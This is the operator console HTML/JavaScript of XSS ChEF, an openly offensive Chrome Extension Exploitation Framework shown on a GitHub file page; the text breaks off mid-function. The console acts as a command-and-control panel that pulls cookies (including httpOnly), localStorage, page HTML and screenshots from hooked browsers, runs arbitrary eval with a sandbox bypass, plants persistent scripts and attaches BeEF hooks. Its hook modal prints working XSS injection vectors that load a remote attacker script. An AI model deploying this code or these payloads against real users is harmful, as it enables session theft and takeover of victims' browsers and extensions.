-
Notifications
You must be signed in to change notification settings - Fork 105
/
Copy pathconsole.html
1208 lines (1096 loc) · 46.4 KB
/
console.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!doctype html>
<html>
<head>
<!--
XSS ChEF - Chrome Extension Exploitation framework
Copyright (C) 2012 Krzysztof Kotowicz - http://blog.kotowicz.net
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
-->
<script src="bootstrap/js/jquery.min.js"></script>
<script src="bootstrap/js/bootstrap.min.js"></script>
<title>XSS ChEF console</title>
<link rel="stylesheet" type="text/css" href="bootstrap/css/bootstrap.min.css"/>
<style>
h5 {
margin-top: 1em;
margin-bottom: 0.5em;
}
input {
padding: 0;
}
body {
padding-top: 50px;
}
#logo {
min-height: 170px;
background: url(bootstrap/img/xss-chef-medium.png) right 20px no-repeat;
}
#about-modal {
width: 620px;
marzgin: 0 0 0 -300px; /* -1 * (width / 2) */
}
#about-modal .modal-body {
background: url(bootstrap/img/xss-chef.png) 95% top no-repeat;
padding-right: 220px;
min-height: 300px;
}
span,td,th {font-size: 11px; line-height: 14px;}
#tabs-container {
overflow-y: auto;
}
#readme {max-height: 400px; overflow-y: auto;}
.currentTableRow td {
background-color: #0088CC !important;
color: #FFFFFF !important;
}
.screenshot-saved-images {max-height: 100px; overflow-y: auto; margin: 0.5em;}
.modal {
display:none;
}
.wide-modal {
top: 3em;
width: 800px;
margin: 0 0 0 -400px; /* -1 * (width / 2) */
}
.screenshot-modal {
top: 3em;
width: 1000px;
margin: 0 0 0 -500px; /* -1 * (width / 2) */
}
.mono {
font-family: Menlo, Monaco, "Courier New", monospace;
white-space: pre;
}
#alert {
position: fixed;
top: 45px;
right: 20px;
display:none;
}
</style>
</head>
<body>
<div class="navbar navbar-fixed-top">
<div class="navbar-inner">
<div class="container">
<ul class="nav pull-right">
<li><a href="#about-modal" data-toggle=modal>About</a></li>
<li><a href="#readme-modal" data-toggle=modal>Readme</a></li>
<li><a href="#hook-modal" data-toggle=modal>Hook code</a></li>
<li><a href="#saved-screenshots-modal" id=saved-screenshots-load data-toggle=modal>Saved screenshots</a></li>
</ul>
<a class="brand" href="#">XSS ChEF - Chrome Extension Exploitation Framework</a>
</div>
</div>
</div>
<div class="container">
<div class="row">
<div class="span12">
<div class="tabbable">
<ul class="nav nav-tabs">
<li><button title="Choose hooked session" id=choose-hook class='btn btn-secondary'><i class="icon-list"></i></button> <button id=current-hook class='btn btn-secondary'><i class="icon-tag"></i><span id=current-hook-name></span></button> </li>
<li class="active"><a href="#tab-tabs" class='active' data-toggle="tab">Tabs</a></li>
<li><a href="#tab-persistent-scripts" data-toggle="tab">Persistent scripts</a></li>
<li><a href="#tab-ext-info" data-toggle="tab">Hooked extension info</a></li>
<li><a href="#tab-ext-commands" data-toggle="tab">Extension commands</a></li>
<li> <button id=refresh-hook title="Refresh this hook" class='btn btn-secondary'><i class="icon-refresh"></i></button> </li>
</ul>
<div class="tab-content">
<div class="tab-pane" id="tab-persistent-scripts">
<ul class="nav nav-tabs">
<li class="active"><a data-toggle="tab" href="#tab-persistent-scripts-manage">Manage</a></li>
<li><a data-toggle="tab" href="#tab-persistent-scripts-log">Results log</a></li>
</ul>
<div class="tab-content">
<div class="tab-pane active" id="tab-persistent-scripts-manage">
<p>Persistent scripts are scripts that are run on hooked browser tabs
on every page load if the URL matches given regexp.
</p>
<h5>Active scripts</h5>
<ul id="persistent-script-list">
<li style=display:none id=persistent-script-template><strong data-fld=name></strong>: <code data-fld=code></code> on <code data-fld=urlmatch>http://*</code> <a href="#" data="" data-fld="name" data-attr="data" title="remove script" class="remove-persistent-script btn btn-secondary"><i class="icon-remove"></i></a></li>
</ul>
<h5>Add persistent script</h5>
<form id=add-persistent-script action="#">
<label>Name</label>
<input name="name" placeholder="anything you like" />
<label>Launch this code:</label>
<select id="persistent-snippets">
<option value="">Choose code snippet...</option>
</select><br />
<p class="help-block">Use __logScript(script_name,object); to return results.</p>
<textarea name=code class="mono span12" style="height: 150px" placeholder="alert(/onload/)"></textarea>
<label>When tab URL matches</label>
<input name="urlmatch" placeholder="^http" /> <span class="help-inline">Enter <a href="https://developer.mozilla.org/en/JavaScript/Guide/Regular_Expressions" target="_blank">Javascript RegExp</a></span>
<label class=checkbox>
<input type=checkbox name=run_now value=1 />Run now for existing tabs </label>
<p><button class="btn btn-secondary">Add script</button></p>
</form>
</div>
<div class="tab-pane" id="tab-persistent-scripts-log">
<div style="max-height: 900px; overflow: auto">
<table class="table-striped table table-condensed">
<thead>
<tr>
<th>Date</th>
<th>Hook<br/>Script name</th>
<th>URL</th>
<th>Result</th>
</tr>
<tr style="display:none" id="persistent-script-log-template">
<td data-fld=date></td>
<td><span data-fld=hook></span><br/><span data-fld=name></span></td>
<td data-fld=url></td>
<td data-fld=result class=mono></td>
</tr>
</thead>
<tbody id=persistent-script-log>
</tbody>
</table>
</div>
<p><button id="clear-persistent-scripts-log">Clear log</button></p>
</div>
</div>
</div>
<div class="tab-pane active" id="tab-tabs">
<div class="row">
<div class="span5" id="tabs-container">
<table class="table-striped table table-condensed">
<thead>
<tr>
<th>
ID
</th>
<th>Window</th>
<th>
Title
</th>
</tr>
<tr style=display:none id=tab-template>
<td data-fld=id>
</td>
<td data-fld=windowId>
</td>
<td class="url">
<a href=# target=_blank data-attr=href data-fld=url><i class="icon-share"></i></a>
<img data-fld=favIconUrl style="max-width:16px;max-height:16px" data-attr=background src="data:image/x-icon;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQEAYAAABPYyMiAAAABmJLR0T///////8JWPfcAAAACXBIWXMAAABIAAAASABGyWs+AAAAF0lEQVRIx2NgGAWjYBSMglEwCkbBSAcACBAAAeaR9cIAAAAASUVORK5CYII=" />
<span data-fld=title></span>
</td>
</tr>
</thead>
<tbody id="hook-tabs">
</tbody>
</table>
<h5>Legend</h5>
<p></p>
<ul class="unstyled">
<li><i class="icon-list"></i> choose hooked browser session</li>
<li><i class="icon-refresh"></i> refresh tab list from session</li>
<li><i class="icon-share"></i> launch URL in this browser</li>
<li><i class="icon-exclamation-sign"></i> launching this might be visible in hooked browser</li>
</ul>
<p><a class="btn btn-secondary" href="#hook-modal" data-toggle=modal>Get hook code</a></p>
</div>
<div class="span7">
<div class="tabbable">
<ul class="nav nav-tabs">
<li class="active"><a href="#tab-info" class='active' data-toggle="tab">Info</a></li>
<li><a href="#tab-commands" data-toggle="tab">Commands</a></li>
<li><a href="#tab-html" data-toggle="tab">HTML</a></li>
</ul>
<div id=current-tab class="tab-content">
<div class="tab-pane" id="tab-commands">
<p>
<button id=do-focus class='btn btn-secondary' title="Set focus on this tab">Set focus <i title="Effect will be visible in hooked browser" class="icon-exclamation-sign"></i></button>
<button id=do-tab-screenshot title="Take a screenshot" class='btn btn-secondary'><i class="icon-picture"></i> Screenshot <i title="Effect will be visible in hooked browser" class="icon-exclamation-sign"></i></button>
<button id=do-hook-beef title="Attach BeEF hook to this tab (experimental)" class='btn btn-secondary'>Hook BeEF</button>
</p>
<form action="#">
<h5>Eval</h5>
<select class="pull-right" id="eval-snippets">
<option value="">Choose code snippet...</option>
</select>
<p class="help-block">Use __logEval(object); to return results asynchronously.</p>
<textarea class=mono name=eval style="width: 100%; height: 100px" placeholder="alert(/place code to eval in this tab here/)"></textarea>
<button id=eval title="Evaluate code in Chrome content script sandbox - you can't call page original JS" type="button" class="btn btn-secondary">Eval<i title="Effect might be visible in hooked browser" class="icon-exclamation-sign"></i></button>
<button id=eval-no-sandbox title="Try to evaluate code outside Chrome content script sandbox by attaching dynamic <script>. No results will be available." type="button" class="btn btn-secondary">Eval outside sandbox (experimental, blind) <i title="Effect might be visible in hooked browser" class="icon-exclamation-sign"></i></button>
</p>
<textarea class=mono style="width: 100%; height: 300px" id=eval-result placeholder="result will be placed here."></textarea>
</form>
</div>
<div class="tab-pane" id="tab-html">
<p><button id=report-html type=button class="btn btn-secondary">Get HTML</button></p>
<textarea data-fld=html id=tab-current-html style="width: 100%; height: 300px">
</textarea>
<h5>Links (click to navigate in tab) <i title="Effect will be visible in hooked browser" class="icon-exclamation-sign"></i></h5>
<ul id=links></ul>
</div>
<div class="tab-pane active" id="tab-info">
<p>
<button id=report-page-info class="btn btn-secondary">Get cookies etc.</button>
</p>
<table class="table-striped table table-condensed">
<tbody>
<tr>
<th>URL</th><td data-fld=url></td>
</tr>
<tr>
<th>Cookies</th><td class=mono data-fld=cookies></td>
</tr>
<tr>
<th>Cookies w/httpOnly</th><td class=mono data-fld=allcookies></td>
</tr>
<tr>
<th>localStorage</th><td><textarea class=mono style="width: 100%; height: 200px" data-fld=localStorage></textarea></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab-ext-info">
<table class="table-striped table table-condensed">
<tbody>
<tr>
<th>Hook ID</th><td id=hook-id></td>
</tr>
<tr>
<th>Extension URL</th><td data-fld=extension></td>
</tr>
<tr>
<th>Permissions</th><td class=mono data-fld=permissions></td>
</tr>
<tr>
<th>Cookies</th><td class=mono data-fld=cookies></td>
</tr>
<tr>
<th>localStorage</th><td><textarea class=mono style="width: 100%; height: 200px" data-fld=localStorage></textarea></td>
</tr>
<tr>
<th>Extension HTML</th><td><textarea style="width: 100%; height:200px" data-fld=html></textarea></td>
</tr>
</tbody>
</table>
</form>
</div>
<div class="tab-pane" id="tab-ext-commands">
<p>
<button id=fix-server class='btn btn-secondary'><i class="icon-fire"></i> Fix server</button>
<button id=ping class='btn btn-secondary'>Ping</button>
<button id=do-screenshot class='btn btn-secondary'><i class="icon-picture"></i> Active tab screenshot</button>
</p>
<div class=control-group>
<h5>Create new tab <i title="Effect will be visible in hooked browser" class="icon-exclamation-sign"></i></h5>
<input id="tab-create-url" placeholder="http://example.com/enter-to-open" />
<form action="#">
<h5>Eval</h5>
<select id="eval-ext-snippets">
<option value="">Choose code snippet...</option>
</select>
<p class="help-block">Use __logEval(object) to return result asynchronously, also <a target=_blank href="http://code.google.com/chrome/extensions/api_index.html">see extension API docs</a></p>
<textarea name=eval-ext style="height: 150px" class="mono span12" placeholder="alert(/place code to eval in extension/)"></textarea>
<p><button type="button" id=eval-ext class="btn btn-secondary">Eval <i title="Effect might be visible in hooked browser" class="icon-exclamation-sign"></i></button></p>
<textarea id=eval-ext-result style="height: 150px" class="mono span12" placeholder="eval result will be placed here."></textarea>
</form>
</div>
</div>
</div>
</div>
<div class="row">
<div class="span10">
<label>Log</label>
<textarea id='log' style="width: 100%; height: 150px;"></textarea>
</div>
<div id="logo" class="span2">
</div>
</div>
</div>
</div>
<div class="modal" id="screenshot-modal">
<div class="modal-header">
<a class="close" data-dismiss="modal">×</a>
<h3>Screenshot</h3>
</div>
<div class="modal-body">
<img id=screenshot />
</div>
<div class="modal-footer">
<input type="textbox" id=screenshot-description class="row-fluid" placeholder="Give this screenshot a description">
<button type="button" id=screenshot-save class="btn btn-secondary">Save Screenshot (experimental)</button>
<a href="#" target=_blank type="button" id=screenshot-open class="btn btn-secondary">Open in Tab</a>
</div>
</div>
<div class="modal" id="choose-hook-modal">
<div class="modal-header">
<a class="close" data-dismiss="modal">×</a>
<h3>Choose hooked session</h3>
</div>
<div class="modal-body">
<p>Each hook below represents single browser session that XSS has been activated in. Chose one you'd like to
exploit:</p>
<select size=10 class="row-fluid" name="choose-hook">
</select>
</div>
<div class=modal-footer>
<a href="#" id=hook-chosen class="btn btn-primary">Choose hook</a>
<a href="#" class="btn" data-dismiss=modal>Cancel</a>
</div>
</div>
<div class="modal" id="current-hook-modal">
<div class="modal-header">
<a class="close" data-dismiss="modal">×</a>
<h3>Hooked session details</h3>
</div>
<div class="modal-body">
<p>Below are details about your currently selected hook.</p>
<p name="current-hook"></p>
<input size=10 class="row-fluid" name="current-hook-name">
</div>
<div class=modal-footer>
<a href="#" id=save-hook-name class="btn btn-primary">Save hook name</a>
</div>
</div>
<div class="modal" id="about-modal">
<div class="modal-header">
<a class="close" data-dismiss="modal">×</a>
<h3>About XSS ChEF</h3>
</div>
<div class="modal-body">
<h2><a href="https://github.com/koto/xsschef/">XSS ChEF </a><small>ver 1.0</small></h2>
<h3>Chrome Extension Exploitation Framework</h3>
<address>by <a href="http://blog.kotowicz.net">Krzysztof Kotowicz</a></address><address> Logo design by <a href="http://www.thespanner.co.uk/">Gareth Heyes</a></address>
<p>This is a Chrome Extension Exploitation Framework - think <a href="http://beefproject.com/">BeEF</a> for Chrome extensions.
Whenever you encounter a XSS vulnerability in Chrome extension, ChEF will ease the exploitation.
</p>
</div>
</div>
<div class="modal" id="hook-modal">
<div class="modal-header">
<a class="close" data-dismiss="modal">×</a>
<h3>Hook code</h3>
</div>
<div class="modal-body">
<p>First, you need to find a XSS vulnerable Chrome extension. I won't help here. Once you've found it, inject Chrome extension with a hook vector:
<pre class="hook-url">if(location.protocol.indexOf('chrome')==0){d=document;e=createElement('script');e.src='__HOOK_URL__';d.body.appendChild(e);}</pre>
<p>For example:
<pre class="hook-url"><img src=x onerror="if(location.protocol.indexOf('chrome')==0){d=document;e=createElement('script');e.src='__HOOK_URL__';d.body.appendChild(e);}"></pre>
<p>After hook has been executed, launch this console (in a separate browser), choose hooked session by clicking on the <i class="icon-list"></i> and start having fun!
</div>
</div>
<div class="modal wide-modal" id="readme-modal">
<div class="modal-header">
<a class="close" data-dismiss="modal">×</a>
<h3>Readme</h3>
</div>
<div class="modal-body">
<pre id=readme>
</pre>
</div>
</div>
<div class="modal screenshot-modal" id="saved-screenshots-modal">
<div class="modal-header">
<a class="close" data-dismiss="modal">×</a>
<h3>Saved screenshots <small>(experimental)</small></h3>
</div>
<div class="modal-body">
<div id=saved-screenshots>
</div>
</div>
</div>
<div id="alert" class="alert alert-info span3">
<a class="close" data-dismiss="alert">×</a>
<span id="alert-msg"></span>
</div>
<script>
var ws;
var DEFAULT_WS_HOST = document.location.host.replace(/:.*/, '') + ':8080';
// current hook name
var hook = ''; // localStorage['lastHook'] || '';
var currentTab = null;
if (window.mozIndexedDB) {
indexedDB = window.mozIndexedDB;
} else if (window.webkitIndexedDB) {
indexedDB = window.webkitIndexedDB;
}
function getQueryStringParams() {
var query = document.location.search.slice(1);
var Params = {};
if (!query) { return Params; } // return empty object
var Pairs = query.split(/[;&]/);
for (var i = 0; i < Pairs.length; i++) {
var KeyVal = Pairs[i].split('=');
if (!KeyVal || KeyVal.length != 2) {continue;}
var key = unescape(KeyVal[0]);
var val = unescape(KeyVal[1]);
val = val.replace(/\+/g, ' ');
Params[key] = val;
}
return Params;
}
function getParam(name) {
try {
// try to read from URL first
return getQueryStringParams()[name]
} catch (e) {}
}
if (indexedDB) {
var db = null;
var req = indexedDB.open("xss-chef", 1);
req.onsuccess = function(event) {
db = event.target.result;
if (db.setVersion && !db.objectStoreNames.contains('screenshots')) { // chrome
db.setVersion('1').onsuccess = function(e) {
req.init(db);
}
}
}
req.onerror = function(event) {
al('Error opening indexed DB!');
if ($.browser.mozilla) {
log('Set "dom.indexedDB.enabled" to true in about:config to enable screenshot db');
}
}
req.onupgradeneeded = function(event) {
al('Upgrading DB...');
req.init(event.target.result);
db = event.target.result;
}
req.init = function(o) {
o.createObjectStore("screenshots", {keyPath: "id", autoIncrement:true});
}
}
function updateHookName(hookName) {
if (hookName == undefined || hookStorage.retrieve(hook, 'name') == undefined){
$('#current-hook-name')[0].innerText = ' ' + hook
} else {
$('#current-hook-name')[0].innerText = ' ' + hookStorage.retrieve(hook, 'name') || hookName
}
return;
}
function prettyPrint(m) {
if (typeof m == 'string') {
return m === "" ? '""' : m;
}
return JSON.stringify(m, undefined, 3);
}
if (getParam('server_type') == 'xhr') {
ws = false;
} else { // backed by WebSockets server
try {
if (typeof MozWebSocket !== 'undefined') {
WebSocket = MozWebSocket;
}
} catch(e) {}
function ReconnectingWebSocket(a,prot){function f(g){c=new WebSocket(a,prot);var h=c;var i=setTimeout(function(){e=true;h.close();e=false},b.timeoutInterval);c.onopen=function(c){clearTimeout(i);b.readyState=WebSocket.OPEN;g=false;b.onopen(c)};c.onclose=function(h){clearTimeout(i);c=null;if(d){b.readyState=WebSocket.CLOSED;b.onclose(h)}else{b.readyState=WebSocket.CONNECTING;if(!g&&!e){b.onclose(h)}setTimeout(function(){f(true)},b.reconnectInterval)}};c.onmessage=function(c){b.onmessage(c)};c.onerror=function(c){b.onerror(c)}}this.debug=false;this.reconnectInterval=1e3;this.timeoutInterval=2e3;var b=this;var c;var d=false;var e=false;this.url=a;this.prot=prot;this.readyState=WebSocket.CONNECTING;this.URL=a;this.onopen=function(a){};this.onclose=function(a){};this.onmessage=function(a){};this.onerror=function(a){};f(a);this.send=function(d){if(c){return c.send(d)}else{throw"INVALID_STATE_ERR : Pausing to reconnect websocket"}};this.close=function(){if(c){d=true;c.close()}};this.refresh=function(){if(c){c.close()}}};
ws = new ReconnectingWebSocket(
// get absolute url of current doc
document.location.protocol.replace('http', 'ws') + '//'
+ (getParam('ws_host') || DEFAULT_WS_HOST) + '/chef', 'chef');
if (!ws) {
alert("Trouble connecting through WebSocket, use PHP/XHR version (?server_type=xhr) or other browser.");
} else {
ws.onmessage = function(ev) {
try {
var json = JSON.parse(ev.data);
for (var i=0; i < json.length; i++) {
processResponse(json[i][0],hook);
}
} catch (e) {}
}
ws.onopen = function() {
log('connection to server opened');
ws.send(JSON.stringify({cmd:'hello-c2c'}));
if (hook) {
ws.send(JSON.stringify({cmd:"set-channel",ch:hook}));
try {
updateHookName(JSON.parse(localStorage['hooks'])[hook]['name'] || hook); // Bleh, hookStorage is defined below... lame! Maybe functions should be moved into their own block?
} catch (e) {}
}
}
ws.onclose = function() {
var s = "Connection to server dropped, will try reconnecting :(";
alert(s);
log(s);
}
}
var currentListCallback = al;
}
var sendCmd = function(cmd, param, additional) {
var to_send = {cmd:cmd, p:param};
if (additional) {
$.extend(to_send, additional);
}
if (ws) {
ws.send(JSON.stringify({cmd:'command',p:to_send}));
} else {
$.post('server-xhr.php?ch=' + encodeURIComponent(hook) + '-cmd', JSON.stringify(to_send));
}
};
function log(m) {
var text = prettyPrint(m);
$("#log")[0].value += text + "\n";
$('#log')[0].scrollTop = 9999999;
}
function clickTab() {
loadTabData($(this).attr('data-tabid'));
currentTab = parseInt($(this).attr('data-tabid'),10);
$('.currentTableRow').removeClass('currentTableRow');
$(this).closest('tr').addClass('currentTableRow');
}
var hookStorage = {
store: function(hook, key, value) {
if (!localStorage['hooks']) {
localStorage['hooks'] = JSON.stringify({});
}
var hooks = JSON.parse(localStorage['hooks']);
if (!hooks[hook]) {
hooks[hook] = {}
}
hooks[hook][key] = value;
localStorage['hooks'] = JSON.stringify(hooks);
},
updateTab: function(hook, id, data) {
var tab = this.getTab(hook, id);
this.setTab(hook, id, data);
},
getTabs: function(hook) {
return this.retrieve(hook, 'tabs', []);
},
setTabs: function(hook, tabs) {
return this.store(hook, 'tabs', tabs);
},
getTab: function(hook, id) {
var tabs = this.getTabs(hook);
for (var i = 0; i < tabs.length; i++) {
if (tabs[i].id == id) {
return tabs[i];
}
}
return {}
},
setTab: function(hook, id, tab) {
var tabs = this.getTabs(hook);
for (var i = 0; i < tabs.length; i++) {
if (tabs[i].id == id) { // tab exists
$.extend(true, tabs[i], tab);
this.setTabs(hook, tabs);
return;
}
}
tabs.push(tab); // new tab
this.setTabs(hook, tabs);
return;
},
retrieve: function(hook, key, def) {
try {
return JSON.parse(localStorage['hooks'])[hook][key];
} catch (e) {
return def;
}
if (e == undefined)
return def;
}
};
function fillDataTemplate(node, data) {
$('[data-fld]', node).each(function() {
var j = this.attributes['data-fld'].value;
var text;
if (!data || typeof data[j] == 'undefined') {
text = '?';
} else {
text = prettyPrint(data[j]);
}
if (this.attributes['data-attr']) {
if (this.attributes['data-attr'].value == 'background') { // change background
$(this).css('background-image', 'url("' + text + '")');
} else {
$(this).attr(this.attributes['data-attr'].value, text);
}
} else {
if ($(this).is(':input')) {
$(this).val(text);
} else {
$(this).text(text);
}
}
});
}
function refreshTabsTable(t) {
$("#hook-tabs").html('');
for (var i = 0; i < t.length; i++) {
var c = $('#tab-template').clone();
var tab = t[i];
c.attr('data-tabid', tab.id);
c.attr('id', '');
fillDataTemplate(c, tab);
c.click(clickTab);
c.appendTo('#hook-tabs').show();
}
if (currentTab) {
$('tr[data-tabid=' + parseInt(currentTab,10) + ']').click(); // reselect current tab
}
}
function displayPersistentLogEntry(entry) {
var c = $('#persistent-script-log-template').clone();
c.attr('id', '');
fillDataTemplate(c, entry);
c.prependTo('#persistent-script-log').show();
}
function refreshPersistentScriptLog(log) {
$("#persistent-script-log").html('');
for (var i = log.length - 1; i >= 0; i--) {
displayPersistentLogEntry(log[i]);
}
}
function refreshPersistentScriptList(scripts) {
var clone = $('#persistent-script-template').clone();
$("#persistent-script-list").html('');
if (scripts) {
for (var i = 0; i < scripts.length; i++) {
var c = $(clone).clone();
c.attr('id', '');
fillDataTemplate(c,scripts[i]);
c.appendTo('#persistent-script-list').show();
}
}
clone.appendTo('#persistent-script-list');
}
function loadTabData(id) {
var tab = hookStorage.getTab(hook,id);
if (!tab) {
alert('no tab!');
return;
}
$("#tab-current-html").val(tab.html);
$("#links").empty();
if (tab.links) {
tab.links.forEach(function(link) {
if (link.href) {
$('<a>')
.attr('href',link.href)
.text(link.title || link.href)
.attr('title', link.title)
.appendTo('#links')
.wrap('<li>');
}
});
}
fillDataTemplate($('#tab-info'), tab);
}
function al(txt) {
$('#alert').queue(function() {
$('#alert-msg').text(txt);
$(this).dequeue();
}).fadeIn().delay(1000).fadeOut();
}
function getPersistentLog() {
var tmp;
try {
tmp = JSON.parse(localStorage['persistentLog'])
} catch (e) {}
return tmp || [];
}
function processResponse(r, hook) {
if (typeof r == 'string' || !r.type) {
log(r);
console.log(r);
return;
}
switch (r.type) {
case 'recvstuff':
hookStorage.updateTab(hook, r.id, r.result);
refreshTabsTable(hookStorage.getTabs(hook));
al('Received response.');
break;
case 'recvpersistent':
// add whatever is received into persistent script log
var entry = { date: new Date(), hook: hook, id: r.id, url:r.url, result: r.result, name: r.name };
var tmp = getPersistentLog();
tmp.push(entry);
localStorage['persistentLog'] = JSON.stringify(tmp);
displayPersistentLogEntry(entry);
al('Received response from persistent script');
break;
case 'recvscreenshot':
$("#screenshot").attr('src', r.url);
$("#screenshot-open").attr('href', r.url);
$('#screenshot-modal').modal('show');
break;
case 'recveval':
var result = prettyPrint(r.result);
if (result == undefined) {
al('Eval response was undefined');
} else {
al('Received eval response.');
if (!r.id) {
$('#eval-ext-result').val(result);
} else {
$('#eval-result').val(result);
}
}
break;
case 'report_tabs':
hookStorage.setTabs(hook, r.result);
refreshTabsTable(hookStorage.getTabs(hook));
al('New tab list received');
break;
case 'report_persistent':
hookStorage.store(hook, 'persistent', r.result);
refreshPersistentScriptList(r.result);
al('New persistent scripts list received');
case 'report_ext':
hookStorage.store(hook, 'info', r.result);
fillDataTemplate($('#tab-ext-info'), r.result);
break;
case 'pong':
al('Pong from ' + r.url);
log('pong from ' + r.url);
break;
case 'server_msg':
al(r.result);
break;
case 'list':
al(r);
currentListCallback(r.result);
break;
}
}
$(function() {
var hook_url = document.location.href
.replace(/\/console\.html.*/, '/hook.php');
var hook_params = "";
if (getParam('server_type') == 'xhr') {
hook_params +='t=xhr';
}
if (getParam('ws_host') && getParam('ws_host') !== DEFAULT_WS_HOST) {
hook_params += '&h=' + escape(getParam('ws_host'));
}
if (hook_params) {
hook_url += '?' + hook_params.replace(/^&/, '');
}
$('.hook-url').each(function() {$(this).text($(this).text().replace(/__HOOK_URL__/g, hook_url)) });
$('#do-screenshot').click(function() {
sendCmd('screenshot');
});
function evalWithSandboxBypass(code, tab_id) {
var wrapper = "(function() {\n\
var d=document;\n\
var s = d.createElement('script');\n\
s.textContent = unescape('__CODE__');\n\
d.body.appendChild(s);\n\
})();";
var wrapped_code = wrapper.replace('__CODE__', escape(code));
sendCmd('eval', wrapped_code, {id: tab_id});
}
$('#do-hook-beef').click(function() {
if (!currentTab) {
al("No tab selected!");
return;
}
var beef = prompt("BeEF Hook URL", 'http://127.0.0.1:3000/hook.js');
if (!beef) {
al("Cancelled BeEF hooking");
return;
}
var step1 = "(function() {\n\
var d=document;\n\
var s = d.createElement('script');\n\
s.src = " + JSON.stringify(beef) + "; // BeEF hook here\n\
s.setAttribute('onload','beef_init();');\n\
d.body.appendChild(s);\n\
})();";
al("BeEF hooking " + beef + " part 1");
sendCmd('eval', step1, {id: currentTab});
return false;
});
$('#do-tab-screenshot').click(function() {
if (!currentTab) {
al("No tab selected!");
return;
}
sendCmd('screenshot', null, {id: currentTab});
});
$('#eval-ext').click(function() {
sendCmd('eval', $('[name=eval-ext]').val());
$('#eval-ext-result').val('');
});
$('#eval').click(function() {
if (!currentTab) {
al("No tab selected!");
return;
}
sendCmd('eval', $('[name=eval]').val(), {id: currentTab});
$('#eval-result').val('');
});
$('#eval-no-sandbox').click(function() {
// create dynamic script URL to load in page
if (!currentTab) {
al("No tab selected!");
return;
}
evalWithSandboxBypass($('[name=eval]').val(), currentTab);
$('#eval-result').val('no results for blind requests...');
});
$('#report-html').click(function() {
sendCmd('reporthtml', null, {id: currentTab});
});
$('#do-focus').click(function() {
sendCmd('focus', null, {id: currentTab});
});
$('#report-page-info').click(function() {
sendCmd('reportpageinfo', null, {id: currentTab});
sendCmd('reportcookies', null, {id: currentTab});
});
$('#ping').click(function() {
sendCmd('ping');
});
$("#refresh-hook").click(function() {
refreshTabsTable([]);
